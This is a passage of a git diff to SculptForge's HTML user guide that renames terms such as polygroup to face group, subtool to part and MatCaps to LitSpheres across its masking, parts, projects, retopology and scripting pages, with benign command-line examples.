<p><strong>Edit &gt; Preferences &gt; AI &gt; Enable AI features</strong> turns off everything AI: <strong>AI Brush</strong> (Brush Lab, where you describe a brush in words) and <strong>Generate 3D</strong> (image or text to a model) leave the shelves, menus and the command palette, their commands leave scripts, <code>sculptforge-cli</code> and the MCP tool list, and SculptForge makes no AI network calls. The offline image tools (<strong>Relief</strong>, <strong>Inflate</strong>, <strong>Stamp</strong>) and the MCP server stay. The first-run welcome asks the same question. The choice is saved at once; turn it back on the same way, or search the command palette for &quot;Enable AI&quot;.</p>
diff --git a/website/guide/masking.html b/website/guide/masking.html
index 334997c7..30e5231e 100644
--- a/website/guide/masking.html
+++ b/website/guide/masking.html
@@ -109,7 +109,7 @@ Let go to mask what&#x27;s inside. Hold <kbd>Ctrl</kbd>+<kbd>Alt</kbd> instead t
<p>A drag starts after the cursor moves a few pixels, so a slightly shaky click still inverts. With <strong>Mask Lasso</strong> or <strong>Mask Rectangle</strong>, a <kbd>Ctrl</kbd> + drag on the background draws that shape; to clear the mask, draw it away from the model, or use <strong>Clear</strong>.</p>
<h2 id="the-masking-sub-palette">The Masking sub-palette<a class="anchor" href="#the-masking-sub-palette" aria-label="Link to this section">#</a></h2>
<p>Open <strong>Tool &gt; Masking</strong> (the Tool palette is in the right tray by default). Every button is one undo step.</p>
-<div class="table-wrap"><table><thead><tr><th>Control</th><th>What it does</th><th>Command</th></tr></thead><tbody><tr><td><strong>Show mask</strong></td><td>Darken masked areas in the viewport.</td><td></td></tr><tr><td><strong>Mask Pen</strong> / <strong>Mask Lasso</strong> / <strong>Mask Rectangle</strong></td><td>What <kbd>Ctrl</kbd> + drag does: paint with the brush, or mask inside a lasso or rectangle.</td><td><code>mask_lasso</code> / <code>mask_rect</code></td></tr><tr><td><strong>Mask Strength</strong></td><td>How much each mask stroke or selection masks (0.01 to 1), and the mask value <strong>By cavity</strong> gives the deepest cavities.</td><td></td></tr><tr><td><strong>Clear</strong></td><td>Unmask everything.</td><td><code>mask_clear</code></td></tr><tr><td><strong>Invert</strong></td><td>Masked becomes free and free becomes masked.</td><td><code>mask_invert</code></td></tr><tr><td><strong>All</strong></td><td>Mask every visible vertex.</td><td><code>mask_all</code></td></tr><tr><td><strong>Blur</strong></td><td>Soften the mask edges by averaging with neighbouring vertices.</td><td><code>mask_blur</code></td></tr><tr><td><strong>Sharpen</strong></td><td>Tighten soft edges, pushing values toward fully masked or free.</td><td><code>mask_sharpen</code></td></tr><tr><td><strong>Grow</strong></td><td>Expand the masked region by one ring of edges per pass.</td><td><code>mask_grow</code></td></tr><tr><td><strong>Shrink</strong></td><td>Contract the masked region by one ring of edges per pass.</td><td><code>mask_shrink</code></td></tr><tr><td><strong>passes</strong></td><td>How many times Blur, Sharpen, Grow and Shrink run (1 to 20 here, default 1).</td><td><code>iterations=</code></td></tr><tr><td><strong>By cavity</strong></td><td>Mask concave areas (creases, folds, pores), replacing the current mask.</td><td><code>mask_by_cavity</code></td></tr><tr><td><strong>threshold</strong></td><td>How concave a spot must be for <strong>By cavity</strong> (-0.2 to 0.5, default 0.02). 0 masks anything concave; higher values keep only deep creases.</td><td><code>threshold=</code></td></tr><tr><td><strong>By face group</strong></td><td>Mask one face group, replacing the current mask. The number field next to it is the face group id.</td><td><code>mask_by_polygroup</code></td></tr><tr><td><strong>By border</strong></td><td>Mask the open edges of the mesh (edges with only one face) and the rings of edges inside them, replacing the current mask, so sculpting keeps the border in place. Uses <strong>Mask Strength</strong>. A closed mesh has no open edges, and the status bar says so.</td><td><code>mask_border</code></td></tr><tr><td><strong>Rings</strong></td><td>How wide <strong>By border</strong> masks, in rings of edges from the border (1 to 20, default 2; 1 masks the border vertices only).</td><td><code>rings=</code></td></tr><tr><td><strong>Face Group borders</strong></td><td><strong>By border</strong> also masks where face groups meet.</td><td><code>polygroups=true</code></td></tr><tr><td><strong>Soft</strong></td><td><strong>By border</strong> fades the mask from the border towards the innermost ring.</td><td><code>soft=true</code></td></tr></tbody></table></div>
+<div class="table-wrap"><table><thead><tr><th>Control</th><th>What it does</th><th>Command</th></tr></thead><tbody><tr><td><strong>Show mask</strong></td><td>Darken masked areas in the viewport.</td><td></td></tr><tr><td><strong>Mask Pen</strong> / <strong>Mask Lasso</strong> / <strong>Mask Rectangle</strong></td><td>What <kbd>Ctrl</kbd> + drag does: paint with the brush, or mask inside a lasso or rectangle.</td><td><code>mask_lasso</code> / <code>mask_rect</code></td></tr><tr><td><strong>Mask Strength</strong></td><td>How much each mask stroke or selection masks (0.01 to 1), and the mask value <strong>By cavity</strong> gives the deepest cavities.</td><td></td></tr><tr><td><strong>Clear</strong></td><td>Unmask everything.</td><td><code>mask_clear</code></td></tr><tr><td><strong>Invert</strong></td><td>Masked becomes free and free becomes masked.</td><td><code>mask_invert</code></td></tr><tr><td><strong>All</strong></td><td>Mask every visible vertex.</td><td><code>mask_all</code></td></tr><tr><td><strong>Blur</strong></td><td>Soften the mask edges by averaging with neighbouring vertices.</td><td><code>mask_blur</code></td></tr><tr><td><strong>Sharpen</strong></td><td>Tighten soft edges, pushing values toward fully masked or free.</td><td><code>mask_sharpen</code></td></tr><tr><td><strong>Grow</strong></td><td>Expand the masked region by one ring of edges per pass.</td><td><code>mask_grow</code></td></tr><tr><td><strong>Shrink</strong></td><td>Contract the masked region by one ring of edges per pass.</td><td><code>mask_shrink</code></td></tr><tr><td><strong>passes</strong></td><td>How many times Blur, Sharpen, Grow and Shrink run (1 to 20 here, default 1).</td><td><code>iterations=</code></td></tr><tr><td><strong>By cavity</strong></td><td>Mask concave areas (creases, folds, pores), replacing the current mask.</td><td><code>mask_by_cavity</code></td></tr><tr><td><strong>threshold</strong></td><td>How concave a spot must be for <strong>By cavity</strong> (-0.2 to 0.5, default 0.02). 0 masks anything concave; higher values keep only deep creases.</td><td><code>threshold=</code></td></tr><tr><td><strong>By face group</strong></td><td>Mask one face group, replacing the current mask. The number field next to it is the face group id.</td><td><code>mask_by_facegroup</code></td></tr><tr><td><strong>By border</strong></td><td>Mask the open edges of the mesh (edges with only one face) and the rings of edges inside them, replacing the current mask, so sculpting keeps the border in place. Uses <strong>Mask Strength</strong>. A closed mesh has no open edges, and the status bar says so.</td><td><code>mask_border</code></td></tr><tr><td><strong>Rings</strong></td><td>How wide <strong>By border</strong> masks, in rings of edges from the border (1 to 20, default 2; 1 masks the border vertices only).</td><td><code>rings=</code></td></tr><tr><td><strong>Face Group borders</strong></td><td><strong>By border</strong> also masks where face groups meet.</td><td><code>facegroups=true</code></td></tr><tr><td><strong>Soft</strong></td><td><strong>By border</strong> fades the mask from the border towards the innermost ring.</td><td><code>soft=true</code></td></tr></tbody></table></div>
<p>Mask operations only change visible parts of the model; hidden parts keep their mask. <strong>Clear</strong> is the exception and frees everything.</p>
<h2 id="common-tasks">Common tasks<a class="anchor" href="#common-tasks" aria-label="Link to this section">#</a></h2>
<h3 id="protect-detail-while-smoothing">Protect detail while smoothing<a class="anchor" href="#protect-detail-while-smoothing" aria-label="Link to this section">#</a></h3>
@@ -172,7 +172,7 @@ Sculpt freely; the border doesn&#x27;t move. Tick <strong>Soft</strong> first fo
<h2 id="masks-and-painting">Masks and painting<a class="anchor" href="#masks-and-painting" aria-label="Link to this section">#</a></h2>
<p>Vertex Paint respects the mask too: the Paint brush, <strong>Rgb</strong> strokes and <strong>Fill</strong> leave masked areas alone, so you can mask an area and fill the rest with a colour. See <a href="vertex-paint.html">Vertex Paint and materials</a>.</p>
<h2 id="masking-from-a-script">Masking from a script<a class="anchor" href="#masking-from-a-script" aria-label="Link to this section">#</a></h2>
-<div class="table-wrap"><table><thead><tr><th>Command</th><th>Options</th></tr></thead><tbody><tr><td><code>mask_clear</code>, <code>mask_all</code>, <code>mask_invert</code></td><td></td></tr><tr><td><code>mask_blur</code>, <code>mask_sharpen</code>, <code>mask_grow</code>, <code>mask_shrink</code></td><td><code>iterations</code> (1-100, default 1)</td></tr><tr><td><code>mask_by_cavity</code></td><td><code>strength</code> (0-1, default 1), <code>threshold</code> (-1 to 1, default 0.02)</td></tr><tr><td><code>mask_by_polygroup</code></td><td><code>group</code> (required), <code>add=true</code> to add to the current mask instead of replacing it</td></tr><tr><td><code>mask_border</code></td><td><code>rings</code> (1-20, default 1), <code>polygroups=true</code> to also mask face group borders, <code>soft=true</code> to fade inwards, <code>strength</code> (0-1, default 1), <code>add=true</code> to add to the current mask</td></tr><tr><td><code>mask_rect</code></td><td><code>x0 y0 x1 y1</code> (-1 to 1, y up), <code>unmask</code>, <code>strength</code> (0-1, default 1), optional <code>view_proj</code> matrix; without a view the rectangle spans the mesh seen from the front</td></tr><tr><td><code>mask_lasso</code></td><td><code>points</code> (required): the outline as <code>&quot;x0 y0 x1 y1 ...&quot;</code>, at least 3 points in the same -1 to 1 space; <code>unmask</code>, <code>strength</code>, <code>view_proj</code> as for <code>mask_rect</code></td></tr></tbody></table></div>
+<div class="table-wrap"><table><thead><tr><th>Command</th><th>Options</th></tr></thead><tbody><tr><td><code>mask_clear</code>, <code>mask_all</code>, <code>mask_invert</code></td><td></td></tr><tr><td><code>mask_blur</code>, <code>mask_sharpen</code>, <code>mask_grow</code>, <code>mask_shrink</code></td><td><code>iterations</code> (1-100, default 1)</td></tr><tr><td><code>mask_by_cavity</code></td><td><code>strength</code> (0-1, default 1), <code>threshold</code> (-1 to 1, default 0.02)</td></tr><tr><td><code>mask_by_facegroup</code></td><td><code>group</code> (required), <code>add=true</code> to add to the current mask instead of replacing it</td></tr><tr><td><code>mask_border</code></td><td><code>rings</code> (1-20, default 1), <code>facegroups=true</code> to also mask face group borders, <code>soft=true</code> to fade inwards, <code>strength</code> (0-1, default 1), <code>add=true</code> to add to the current mask</td></tr><tr><td><code>mask_rect</code></td><td><code>x0 y0 x1 y1</code> (-1 to 1, y up), <code>unmask</code>, <code>strength</code> (0-1, default 1), optional <code>view_proj</code> matrix; without a view the rectangle spans the mesh seen from the front</td></tr><tr><td><code>mask_lasso</code></td><td><code>points</code> (required): the outline as <code>&quot;x0 y0 x1 y1 ...&quot;</code>, at least 3 points in the same -1 to 1 space; <code>unmask</code>, <code>strength</code>, <code>view_proj</code> as for <code>mask_rect</code></td></tr></tbody></table></div>
<div class="code-block"><pre class="code"><code class="language-sh">sculptforge-cli -c &#x27;open path=head.obj; mask_by_cavity threshold=0.05; mask_blur iterations=2; save_project path=head.sfproj&#x27;</code></pre><button class="copy" type="button" aria-label="Copy">Copy</button></div>
<aside class="callout callout-not-yet"><p><strong>Not yet:</strong> masking by topology, by normals or by alpha, Mask By Smoothness, and MaskCurve are not available yet.</p></aside>
<h2 id="see-also">See also<a class="anchor" href="#see-also" aria-label="Link to this section">#</a></h2>
diff --git a/website/guide/packs-and-macros.html b/website/guide/packs-and-macros.html
index 1a49d3ad..ec64b672 100644
--- a/website/guide/packs-and-macros.html
+++ b/website/guide/packs-and-macros.html
@@ -78,7 +78,7 @@ The <strong>check box</strong> turns the pack off or on. Off, its items leave ev
<h2 id="make-a-pack">Make a pack<a class="anchor" href="#make-a-pack" aria-label="Link to this section">#</a></h2>
<p><strong>Library &gt; Packs &gt; New Pack...</strong> lists what you made yourself: brushes in your library, images in your Library&#x27;s Alphas and Lit Spheres folders, the active Part&#x27;s Fill layers as a Material Recipe, your VDMs, your pie menus, your changed shortcuts (as a keymap) and your macros. Tick what goes in, fill in the name, author, license and description, and click <strong>Save Pack...</strong>. The file is checked exactly as an install would check it before it is written.</p>
<p>Tick <strong>Member pack (insider channel)</strong> for the monthly pack or an Insider drop. It only changes the label shown in the review and the pack list; anyone can install the file.</p>
-<p>To build a pack from a folder in a script, lay the folder out like a pack (<code>brushes/</code>, <code>alphas/</code>, <code>matcaps/</code>, <code>materials/</code>, <code>vdms/</code>, <code>keymaps/</code>, <code>piemenus/</code>, <code>macros/</code>, plus <code>LICENSE.txt</code> and <code>preview.png</code>) and run:</p>
+<p>To build a pack from a folder in a script, lay the folder out like a pack (<code>brushes/</code>, <code>alphas/</code>, <code>litspheres/</code>, <code>materials/</code>, <code>vdms/</code>, <code>keymaps/</code>, <code>piemenus/</code>, <code>macros/</code>, plus <code>LICENSE.txt</code> and <code>preview.png</code>) and run:</p>
<div class="code-block"><pre class="code"><code>sculptforge-cli -c &#x27;pack_create folder=MyPack path=MyPack.sfpack id=my-pack name=&quot;My Pack&quot; author=Me license=CC-BY-4.0&#x27;</code></pre><button class="copy" type="button" aria-label="Copy">Copy</button></div>
<p>The file format is described in <a href="https://github.com/islandmed/SculptForge/blob/main/docs/pack-format.md" rel="noopener">the pack format</a>.</p>
<h2 id="record-a-macro">Record a macro<a class="anchor" href="#record-a-macro" aria-label="Link to this section">#</a></h2>
diff --git a/website/guide/parts.html b/website/guide/parts.html
index 801b1c80..65cb5f93 100644
--- a/website/guide/parts.html
+++ b/website/guide/parts.html
@@ -88,10 +88,10 @@ The Parts list highlights the active Part. In the Classic layout the title strip
<strong>Sphere</strong>, <strong>Cube</strong> or <strong>Plane</strong>: a new primitive placed beside the visible model (to the right, on +X), sized to about a third of the largest visible Part.
</li>
<li>
-<strong>Insert on the model</strong>: choose a shape, then drag on the active Part&#x27;s surface to add it there as a new face group (the drag sets its size and turns it). With <strong>Symmetry</strong> X, Y or Z on, a mirrored copy goes on the other side too, in the same undo step; a shape inserted right on a mirror plane isn&#x27;t doubled. To insert your own mesh, choose <strong>Active Part&#x27;s copy...</strong> and pick another Part (it stays as it is), or <strong>From file...</strong> and pick an <code>.obj</code>, <code>.ply</code> or <code>.glb</code> file; then drag as with the shapes. The mesh is centred, scaled so its largest side matches the drag, and stood on the surface along its own up (+Y) axis. Esc stops inserting. (Command: <code>insert_mesh subtool=&lt;name&gt;</code> or <code>insert_mesh file=&lt;path&gt;</code>.)
+<strong>Insert on the model</strong>: choose a shape, then drag on the active Part&#x27;s surface to add it there as a new face group (the drag sets its size and turns it). With <strong>Symmetry</strong> X, Y or Z on, a mirrored copy goes on the other side too, in the same undo step; a shape inserted right on a mirror plane isn&#x27;t doubled. To insert your own mesh, choose <strong>Active Part&#x27;s copy...</strong> and pick another Part (it stays as it is), or <strong>From file...</strong> and pick an <code>.obj</code>, <code>.ply</code> or <code>.glb</code> file; then drag as with the shapes. The mesh is centred, scaled so its largest side matches the drag, and stood on the surface along its own up (+Y) axis. Esc stops inserting. (Command: <code>insert_mesh part=&lt;name&gt;</code> or <code>insert_mesh file=&lt;path&gt;</code>.)
</li>
<li>
-<strong>From file...</strong>: a model (<code>.obj</code>, <code>.fbx</code>, <code>.glb</code>, <code>.gltf</code>, <code>.ply</code>, <code>.stl</code>, <code>.GoZ</code>, <code>.usda</code>, <code>.usd</code>, <code>.usdz</code>) or a project (<code>.sfproj</code>). A file with several objects adds one Part per object.
+<strong>From file...</strong>: a model (<code>.obj</code>, <code>.fbx</code>, <code>.glb</code>, <code>.gltf</code>, <code>.ply</code>, <code>.stl</code>, Bridge files, <code>.usda</code>, <code>.usd</code>, <code>.usdz</code>) or a project (<code>.sfproj</code>). A file with several objects adds one Part per object.
</li>
</ul>
<p>The new Part becomes the active one.</p>
@@ -169,7 +169,7 @@ Change <strong>Thick</strong>, <strong>E Smt</strong>, <strong>Double</strong>,
<p>Opening a multi-object file replaces the scene with one Part per object. See <a href="exporting.html">Exporting</a> for the details of each format.</p>
<h2 id="scripting">Scripting<a class="anchor" href="#scripting" aria-label="Link to this section">#</a></h2>
<p>Every Part action is a command, so you can use them in the <a href="scripting.html">console</a>, scripts, Python and MCP agents. Parts are addressed by <code>index</code> (0 is the top of the list) or <code>name</code>; without either, the active one is used.</p>
-<div class="table-wrap"><table><thead><tr><th>Command</th><th>What it does</th></tr></thead><tbody><tr><td><code>subtool_list</code></td><td>List the Parts</td></tr><tr><td><code>subtool_select index=1</code></td><td>Make a Part active</td></tr><tr><td><code>subtool_append type=cube</code></td><td>Add a primitive (<code>sphere</code>, <code>cube</code>, <code>plane</code>); <code>path=</code> adds a file; <code>size=</code> (0.05-2, default 0.35)</td></tr><tr><td><code>subtool_duplicate</code></td><td>Copy a Part</td></tr><tr><td><code>subtool_delete name=Helmet</code></td><td>Delete a Part</td></tr><tr><td><code>subtool_rename to=Body</code></td><td>Rename a Part</td></tr><tr><td><code>subtool_visibility visible=false</code></td><td>Show or hide (toggles when <code>visible</code> is left out)</td></tr><tr><td><code>subtool_solo</code> / <code>subtool_show_all</code></td><td>Solo the active Part / show every Part</td></tr><tr><td><code>subtool_move direction=up</code></td><td>Move a Part up or down the list</td></tr><tr><td><code>subtool_merge_down</code> / <code>subtool_merge_visible</code></td><td>Merge</td></tr><tr><td><code>subtool_split_groups</code> / <code>subtool_split_parts</code></td><td>Split</td></tr><tr><td><code>extract thickness=0.02 smooth=5 double=false</code></td><td>Preview an Extract shell from the mask; <code>tcorne</code> / <code>tborder</code> for a triangle rim; <code>accept=true</code> keeps it at once</td></tr><tr><td><code>extract_accept</code> / <code>extract_cancel</code></td><td>Keep or remove the Extract preview</td></tr></tbody></table></div>
+<div class="table-wrap"><table><thead><tr><th>Command</th><th>What it does</th></tr></thead><tbody><tr><td><code>part_list</code></td><td>List the Parts</td></tr><tr><td><code>part_select index=1</code></td><td>Make a Part active</td></tr><tr><td><code>part_append type=cube</code></td><td>Add a primitive (<code>sphere</code>, <code>cube</code>, <code>plane</code>); <code>path=</code> adds a file; <code>size=</code> (0.05-2, default 0.35)</td></tr><tr><td><code>part_duplicate</code></td><td>Copy a Part</td></tr><tr><td><code>part_delete name=Helmet</code></td><td>Delete a Part</td></tr><tr><td><code>part_rename to=Body</code></td><td>Rename a Part</td></tr><tr><td><code>part_visibility visible=false</code></td><td>Show or hide (toggles when <code>visible</code> is left out)</td></tr><tr><td><code>part_solo</code> / <code>part_show_all</code></td><td>Solo the active Part / show every Part</td></tr><tr><td><code>part_move direction=up</code></td><td>Move a Part up or down the list</td></tr><tr><td><code>part_merge_down</code> / <code>part_merge_visible</code></td><td>Merge</td></tr><tr><td><code>part_split_groups</code> / <code>part_split_parts</code></td><td>Split</td></tr><tr><td><code>extract thickness=0.02 smooth=5 double=false</code></td><td>Preview an Extract shell from the mask; <code>tcorne</code> / <code>tborder</code> for a triangle rim; <code>accept=true</code> keeps it at once</td></tr><tr><td><code>extract_accept</code> / <code>extract_cancel</code></td><td>Keep or remove the Extract preview</td></tr></tbody></table></div>
<div class="code-block"><pre class="code"><code class="language-text">part_append type=sphere name=EyeL size=0.12; part_duplicate; part_rename to=EyeR</code></pre><button class="copy" type="button" aria-label="Copy">Copy</button></div>
<h2 id="see-also">See also<a class="anchor" href="#see-also" aria-label="Link to this section">#</a></h2>
<ul>
diff --git a/website/guide/projects.html b/website/guide/projects.html
index b32179f4..e92c5016 100644
--- a/website/guide/projects.html
+++ b/website/guide/projects.html
@@ -161,7 +161,7 @@ They appear in the Library <strong>Snapshots</strong> tab, newest first, labelle
<p>With the Classic sculpting keys (<strong>Edit &gt; Preferences &gt; Input</strong>) <kbd>9</kbd> takes a snapshot; otherwise it has no default shortcut. To give it one, hold <kbd>Ctrl</kbd>+<kbd>Alt</kbd>, click the <strong>Snapshot</strong> button and press a key (see <a href="interface.html">The interface</a>).</p>
<h2 id="your-library-folder-and-the-library">Your library folder and the Library<a class="anchor" href="#your-library-folder-and-the-library" aria-label="Link to this section">#</a></h2>
<p>SculptForge keeps a library folder for your work, by default <code>SculptForge</code> in your Documents folder. It is created on first use with these sub-folders:</p>
-<div class="table-wrap"><table><thead><tr><th>Folder</th><th>Library tab</th><th>What goes there</th></tr></thead><tbody><tr><td><code>Projects</code></td><td>Project</td><td>Your <code>.sfproj</code> files</td></tr><tr><td><code>Tools</code></td><td>Tool</td><td>Models to open or append as Parts</td></tr><tr><td><code>Brushes</code></td><td>Brush</td><td><code>.sfbrush</code> files</td></tr><tr><td><code>Alphas</code></td><td>Alpha</td><td>Grayscale images for brush alphas</td></tr><tr><td><code>MatCaps</code></td><td>Material</td><td>Lit Sphere images, loaded as materials at start-up</td></tr><tr><td><code>Images</code></td><td>Image</td><td>Sketches and concept art for Generate 3D</td></tr><tr><td><code>Splats</code></td><td>Splats</td><td>Gaussian splat captures</td></tr><tr><td><code>QuickSave</code></td><td>Snapshots</td><td>Snapshots</td></tr></tbody></table></div>
+<div class="table-wrap"><table><thead><tr><th>Folder</th><th>Library tab</th><th>What goes there</th></tr></thead><tbody><tr><td><code>Projects</code></td><td>Project</td><td>Your <code>.sfproj</code> files</td></tr><tr><td><code>Tools</code></td><td>Tool</td><td>Models to open or append as Parts</td></tr><tr><td><code>Brushes</code></td><td>Brush</td><td><code>.sfbrush</code> files</td></tr><tr><td><code>Alphas</code></td><td>Alpha</td><td>Grayscale images for brush alphas</td></tr><tr><td><code>LitSpheres</code></td><td>Material</td><td>Lit Sphere images, loaded as materials at start-up</td></tr><tr><td><code>Images</code></td><td>Image</td><td>Sketches and concept art for Generate 3D</td></tr><tr><td><code>Splats</code></td><td>Splats</td><td>Gaussian splat captures</td></tr><tr><td><code>QuickSave</code></td><td>Snapshots</td><td>Snapshots</td></tr></tbody></table></div>
<p>Change it in <strong>Edit &gt; Preferences &gt; Library &gt; Library folder</strong>, then Store Config (<kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>I</kbd>) to keep the setting.</p>
<p>Press <kbd>,</kbd> (comma) to show the Library. The tabs that matter for projects:</p>
<ul>
diff --git a/website/guide/retopology.html b/website/guide/retopology.html
index 8887648f..e48b1d50 100644
--- a/website/guide/retopology.html
+++ b/website/guide/retopology.html
@@ -202,7 +202,7 @@ Project All is fast enough to use on dense meshes: about 0.6 seconds to project
</ul>
<aside class="callout callout-tip"><p><strong>Tip:</strong> Project after each division, not only at the end: divide once, Project All, divide again, Project All. Each pass starts closer to the sculpt, so a small <strong>Dist</strong> is enough and thin parts don&#x27;t jump to the wrong surface.</p></aside>
<h2 id="scripting">Scripting<a class="anchor" href="#scripting" aria-label="Link to this section">#</a></h2>
-<div class="table-wrap"><table><thead><tr><th>Command</th><th>Options</th></tr></thead><tbody><tr><td><code>qremesh</code></td><td><code>method</code> (<code>v2</code>, the default, or <code>legacy</code>), <code>quality</code> (report poles, corner angles and the distance to the sculpt, default true), <code>target</code> (16 to 2,000,000, default 5000), <code>adaptive</code> (0-1, default 0.5), <code>keep_groups</code>, <code>detect_edges</code> (default true), <code>use_polypaint</code>, <code>symmetry</code> (<code>x</code>, <code>y</code> or <code>z</code>; off by default in scripts; the mirror plane is found from the model), <code>symmetry_center</code> (use this plane instead, e.g. <code>0</code> for the world&#x27;s centre), <code>keep_original</code>, <code>smooth</code> (relaxation passes, default 6), <code>seed</code> (legacy method only; Quad Remesh 2 has no random start), <code>keep_texture</code> (default true), <code>guides</code> (follow the Part&#x27;s Quad Remesh Guides, default true), <code>curves_strength</code> (0-100, default 50)</td></tr><tr><td><code>qremesh_guide</code></td><td><code>points</code> (the curve, <code>&quot;x,y,z x,y,z ...&quot;</code>), <code>view</code> (project the points onto the surface along this direction, as a stroke from the camera; default: each point to the closest surface point), <code>symmetry</code> (<code>x</code>, <code>xz</code>...; mirror the curve)</td></tr><tr><td><code>qremesh_guide_delete_last</code>, <code>qremesh_guides_clear</code>, <code>qremesh_guides_info</code></td><td>Delete the last curve, delete all, list them</td></tr><tr><td><code>project_all</code></td><td><code>distance</code> (0.001-1, default 0.02), <code>mean</code>, <code>blur</code> (0-20), <code>geometry</code> (default true), <code>polypaint</code> (default true), <code>source</code> (one Part&#x27;s name instead of all visible ones)</td></tr></tbody></table></div>
+<div class="table-wrap"><table><thead><tr><th>Command</th><th>Options</th></tr></thead><tbody><tr><td><code>qremesh</code></td><td><code>method</code> (<code>v2</code>, the default, or <code>legacy</code>), <code>quality</code> (report poles, corner angles and the distance to the sculpt, default true), <code>target</code> (16 to 2,000,000, default 5000), <code>adaptive</code> (0-1, default 0.5), <code>keep_groups</code>, <code>detect_edges</code> (default true), <code>use_vertexpaint</code>, <code>symmetry</code> (<code>x</code>, <code>y</code> or <code>z</code>; off by default in scripts; the mirror plane is found from the model), <code>symmetry_center</code> (use this plane instead, e.g. <code>0</code> for the world&#x27;s centre), <code>keep_original</code>, <code>smooth</code> (relaxation passes, default 6), <code>seed</code> (legacy method only; Quad Remesh 2 has no random start), <code>keep_texture</code> (default true), <code>guides</code> (follow the Part&#x27;s Quad Remesh Guides, default true), <code>curves_strength</code> (0-100, default 50)</td></tr><tr><td><code>qremesh_guide</code></td><td><code>points</code> (the curve, <code>&quot;x,y,z x,y,z ...&quot;</code>), <code>view</code> (project the points onto the surface along this direction, as a stroke from the camera; default: each point to the closest surface point), <code>symmetry</code> (<code>x</code>, <code>xz</code>...; mirror the curve)</td></tr><tr><td><code>qremesh_guide_delete_last</code>, <code>qremesh_guides_clear</code>, <code>qremesh_guides_info</code></td><td>Delete the last curve, delete all, list them</td></tr><tr><td><code>project_all</code></td><td><code>distance</code> (0.001-1, default 0.02), <code>mean</code>, <code>blur</code> (0-20), <code>geometry</code> (default true), <code>vertexpaint</code> (default true), <code>source</code> (one Part&#x27;s name instead of all visible ones)</td></tr></tbody></table></div>
<div class="code-block"><pre class="code"><code class="language-sh">sculptforge-cli -c &#x27;open path=scan.glb; qremesh target=8000 adaptive=0.3 keep_original=true; subdivide levels=2; part_visibility index=1 visible=true; project_all distance=0.02; export_fbx path=retopo.fbx&#x27;</code></pre><button class="copy" type="button" aria-label="Copy">Copy</button></div>
<div class="code-block"><pre class="code"><code class="language-sh">sculptforge-cli -c &#x27;open path=head.glb; qremesh_guide points=&quot;0.2,0.3,2 0.3,0.4,2 0.4,0.3,2 0.3,0.2,2 0.2,0.3,2&quot; view=0,0,-1 symmetry=x; qremesh target=4000 symmetry=x curves_strength=70&#x27;</code></pre><button class="copy" type="button" aria-label="Copy">Copy</button></div>
<p>From scripts <code>qremesh</code> runs straight away (it doesn&#x27;t return until it&#x27;s done); in the app the button runs it in the background.</p>
diff --git a/website/guide/scripting.html b/website/guide/scripting.html
index 203f1fad..0d629869 100644
--- a/website/guide/scripting.html
+++ b/website/guide/scripting.html
@@ -116,7 +116,7 @@ Type a statement and press <kbd>Enter</kbd> to run it. Several statements separa
<aside class="callout callout-tip"><p><strong>Tip:</strong> Hold <kbd>Ctrl</kbd>+<kbd>Alt</kbd> and point at a button to see the scripting parameters of the command behind it.</p></aside>
<h2 id="commonly-used-commands">Commonly used commands<a class="anchor" href="#commonly-used-commands" aria-label="Link to this section">#</a></h2>
<p><code>sculptforge-cli --list</code> (or <code>help</code> in the console) prints every command with all its parameters. These are the ones you will use most:</p>
-<div class="table-wrap"><table><thead><tr><th>Area</th><th>Command</th><th>Key parameters</th></tr></thead><tbody><tr><td>Scene</td><td><code>new_sphere</code></td><td><code>subdivisions</code> (0 to 8, default 6)</td></tr><tr><td>Scene</td><td><code>new_plane</code></td><td><code>resolution</code> (cells per side, default 128)</td></tr><tr><td>Files</td><td><code>open</code></td><td><code>path</code>: models, projects, splats, Bridge files</td></tr><tr><td>Files</td><td><code>save_project</code></td><td><code>path</code> (default: the current project)</td></tr><tr><td>Files</td><td><code>open_project</code></td><td><code>path</code></td></tr><tr><td>Geometry</td><td><code>subdivide</code></td><td><code>levels</code> (1 to 4, default 1)</td></tr><tr><td>Geometry</td><td><code>remesh</code></td><td><code>resolution</code> (32 to 512, default 200)</td></tr><tr><td>Geometry</td><td><code>decimate</code></td><td><code>ratio</code> (default 0.5) or <code>triangles</code></td></tr><tr><td>Geometry</td><td><code>qremesh</code></td><td><code>target</code> (default 5000), <code>adaptive</code>, <code>keep_groups</code>, <code>detect_edges</code>, <code>use_polypaint</code>, <code>symmetry</code>, <code>keep_original</code></td></tr><tr><td>Parts</td><td><code>project_all</code></td><td><code>distance</code> (default 0.02), <code>mean</code>, <code>blur</code>, <code>geometry</code>, <code>polypaint</code>, <code>source</code></td></tr><tr><td>Geometry</td><td><code>mesh_info</code></td><td></td></tr><tr><td>Sculpting</td><td><code>stroke</code></td><td><code>points</code> (required), <code>brush</code>, <code>radius</code>, <code>strength</code>, <code>invert</code>, <code>symmetry</code>, <code>radial</code>, <code>radial_axis</code>, <code>local</code></td></tr><tr><td>Brushes</td><td><code>brush_set_alpha</code></td><td><code>name</code> (round, square, noise) or <code>path</code>, <code>invert</code></td></tr><tr><td>Brushes</td><td><code>brush_ai</code></td><td><code>prompt</code> (required), <code>provider</code>, <code>model</code>, <code>endpoint</code></td></tr><tr><td>Brushes</td><td><code>brush_install</code></td><td><code>path</code>, <code>code</code> or <code>json</code></td></tr><tr><td>Brushes</td><td><code>brush_save</code></td><td><code>path</code> (required), <code>name</code></td></tr><tr><td>Layers</td><td><code>layer_add</code></td><td><code>name</code></td></tr><tr><td>Layers</td><td><code>layer_set_weight</code></td><td><code>index</code>, <code>weight</code> (both required)</td></tr><tr><td>Masking</td><td><code>mask_by_cavity</code></td><td><code>strength</code>, <code>threshold</code></td></tr><tr><td>Masking</td><td><code>mask_invert</code>, <code>mask_clear</code>, <code>mask_blur</code>, <code>mask_grow</code></td><td><code>iterations</code> where it applies</td></tr><tr><td>Face Groups</td><td><code>polygroup_auto_by_normals</code></td><td><code>angle</code> (default 30)</td></tr><tr><td>Visibility</td><td><code>isolate_polygroup</code>, <code>hide_polygroup</code></td><td><code>group</code> (required)</td></tr><tr><td>Visibility</td><td><code>show_all</code>, <code>delete_hidden</code></td><td></td></tr><tr><td>Transform</td><td><code>transform</code></td><td><code>translate</code>, <code>rotate</code>, <code>scale</code>, <code>pivot</code>, <code>orient</code>, <code>masked</code>, <code>falloff</code>, <code>symmetry</code>, <code>all</code> (<a href="gizmo.html#scripting">Gizmo</a>)</td></tr><tr><td>Parts</td><td><code>subtool_append</code></td><td><code>type</code> (sphere, cube, plane) or <code>path</code>, <code>name</code>, 